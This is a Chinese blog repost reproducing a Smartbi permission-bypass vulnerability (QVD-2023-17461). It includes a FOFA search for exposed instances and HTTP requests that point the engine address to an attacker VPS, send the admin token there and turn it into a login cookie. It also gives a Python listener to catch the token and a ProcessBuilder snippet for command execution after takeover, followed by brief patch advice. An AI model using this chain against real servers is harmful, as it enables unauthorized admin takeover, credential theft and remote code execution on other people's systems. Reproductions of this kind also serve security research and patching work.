Smartbi 权限绕过漏洞复现(QVD-2023-17461)

2023-11-09 15:00

本文主要是介绍Smartbi 权限绕过漏洞复现(QVD-2023-17461),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x01 产品简介

   Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现;满足所有用户的各种数据分析应用需求,如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。

0x02 漏洞概述

    Smartbi在特定情况下可被获取用户token,未经授权的攻击者可通过这种方式获取管理员权限,从而以管理员权限接管后台,进一步利用可实现任意代码执行。利用此漏洞需目标可出网。  

0x03 影响范围

  V6 <= Smartbi <= V10

0x04 复现环境

FOFA:app="SMARTBI"

c9043c3d0bdc4b84888755d49baca9e3.png

0x05 漏洞复现

 更新内部引擎地址

POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1
Host: your-ip
Content-Type: application/jsonhttp://vpsip:8000

6b9b1d116b294f56a943a172979fbc70.png

 PS:有的环境url不一样,区别在于有没有多一层“/smartbi” 目录,自行根据实际环境测试,如下

f379e7c7ce0245f2a4733423f140ed51.png

56df95d82deb4aae91342eda69287fff.png 验证地址更新的情况 

POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: your-ip
Content-Type: application/json

c9aa86edc7334a5ba8dcffa9b6bfb724.png

 发送管理员token到vps(不能使用nc监听,由于nc监听或者返回的值不是json格式,导致报错,获取的token没被存入对应的变量中,无法进行绕过,所以需要手动编写⼀个http服务,用于监听返回的数据为任意json格式)

脚本:

import json
from http.server import BaseHTTPRequestHandler, HTTPServerclass RequestHandler(BaseHTTPRequestHandler):def do_POST(self):content_length = int(self.headers['Content-Length'])post_data = self.rfile.read(content_length).decode('utf-8')print(f'Received data: {post_data}')# 解析post_data,并构建要返回的JSON数据data = json.loads(post_data)response = {'message': 'Data received successfully'}# 设置响应头和状态码self.send_response(200)self.send_header('Content-type', 'application/json')self.end_headers()# 将JSON数据转换为字节流并发送回客户端self.wfile.write(json.dumps(response).encode('utf-8'))def run_server():server_address = ('', 8000)httpd = HTTPServer(server_address, RequestHandler)print('Server is running...')httpd.serve_forever()if __name__ == '__main__':run_server()

原理:使用http.server模块来创建一个基于HTTP协议的服务器。它监听本地的8000端口,并在收到POST请求时,将请求体中的数据解析为JSON格式。然后构建一个包含成功消息的JSON响应,并将其发送回客户端。

开启监听,发送token

54ae89e31c954a10b567fb9284848e0b.png

POST /smartbi/smartbix/api/monitor/token HTTP/1.1
Host: your-ip
Content-Type: application/jsonexperiment

6c5903aa9b0640acb72ba205f4a6df07.png

 8fe20ec1313e4ac3b60162db02d0e70c.png

利用管理员token 获取登录后的cookie

POST /smartbi/smartbix/api/monitor/login HTTP/1.1
Host: your-ip
Content-Type: application/json获取到的管理员token

59af1c5d06c3423b9554ff7d4d8c418a.png PS:必须是true,false不管用

替换cookie接管后台

c324629913d14b599e845733b3208ccf.png

替换完刷新页面即可 

ac0f08a7d6d94c439889effb82b92b89.png

 后利用思路:计划任务RCE

importPackage(Packages.java.lang);
importPackage(Packages.java.io);
importPackage(Packages.smartbi.repository);
importPackage(Packages.smartbi.util);
importPackage(Packages.java.util);builder = new ProcessBuilder();
builder.command("sh", "-c", "执行的命令");
builder.directory(new File(System.getProperty("user.home")));
process = builder.start();

0x06 修复建议

临时缓解方案

通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。

升级修复方案

目前官方已发布补丁,建议受影响用户尽快更新至 2023-07-28 安全补丁包:

https://www.smartbi.com.cn/patchinfo

  

 

 

这篇关于Smartbi 权限绕过漏洞复现(QVD-2023-17461)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/376855

相关文章

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

Java访问修饰符public、private、protected及默认访问权限详解

《Java访问修饰符public、private、protected及默认访问权限详解》:本文主要介绍Java访问修饰符public、private、protected及默认访问权限的相关资料,每... 目录前言1. public 访问修饰符特点:示例:适用场景:2. private 访问修饰符特点:示例:

Linux中chmod权限设置方式

《Linux中chmod权限设置方式》本文介绍了Linux系统中文件和目录权限的设置方法,包括chmod、chown和chgrp命令的使用,以及权限模式和符号模式的详细说明,通过这些命令,用户可以灵活... 目录设置基本权限命令:chmod1、权限介绍2、chmod命令常见用法和示例3、文件权限详解4、ch

Mybatis拦截器如何实现数据权限过滤

《Mybatis拦截器如何实现数据权限过滤》本文介绍了MyBatis拦截器的使用,通过实现Interceptor接口对SQL进行处理,实现数据权限过滤功能,通过在本地线程变量中存储数据权限相关信息,并... 目录背景基础知识MyBATis 拦截器介绍代码实战总结背景现在的项目负责人去年年底离职,导致前期规

Spring Security 基于表达式的权限控制

前言 spring security 3.0已经可以使用spring el表达式来控制授权,允许在表达式中使用复杂的布尔逻辑来控制访问的权限。 常见的表达式 Spring Security可用表达式对象的基类是SecurityExpressionRoot。 表达式描述hasRole([role])用户拥有制定的角色时返回true (Spring security默认会带有ROLE_前缀),去

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

小技巧绕过Sina Visitor System(新浪访客系统)

0x00 前言 一直以来,爬虫与反爬虫技术都时刻进行着博弈,而新浪微博作为一个数据大户更是在反爬虫上不遗余力。常规手段如验证码、封IP等等相信很多人都见识过…… 当然确实有需要的话可以通过新浪开放平台提供的API进行数据采集,但是普通开发者的权限比较低,限制也比较多。所以如果只是做一些简单的功能还是爬虫比较方便~ 应该是今年的早些时候,新浪引入了一个Sina Visitor Syst

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录 在深度学习项目中,目标检测是一项重要的任务。本文将详细介绍如何使用Detectron2进行目标检测模型的复现训练,涵盖训练数据准备、训练命令、训练日志分析、训练指标以及训练输出目录的各个文件及其作用。特别地,我们将演示在训练过程中出现中断后,如何使用 resume 功能继续训练,并将我们复现的模型与Model Zoo中的

Golang进程权限调度包runtime

关于 runtime 包几个方法: Gosched:让当前线程让出 cpu 以让其它线程运行,它不会挂起当前线程,因此当前线程未来会继续执行GOMAXPROCS:设置最大的可同时使用的 CPU 核数Goexit:退出当前 goroutine(但是defer语句会照常执行)NumGoroutine:返回正在执行和排队的任务总数GOOS:目标操作系统NumCPU:返回当前系统的 CPU 核数量 p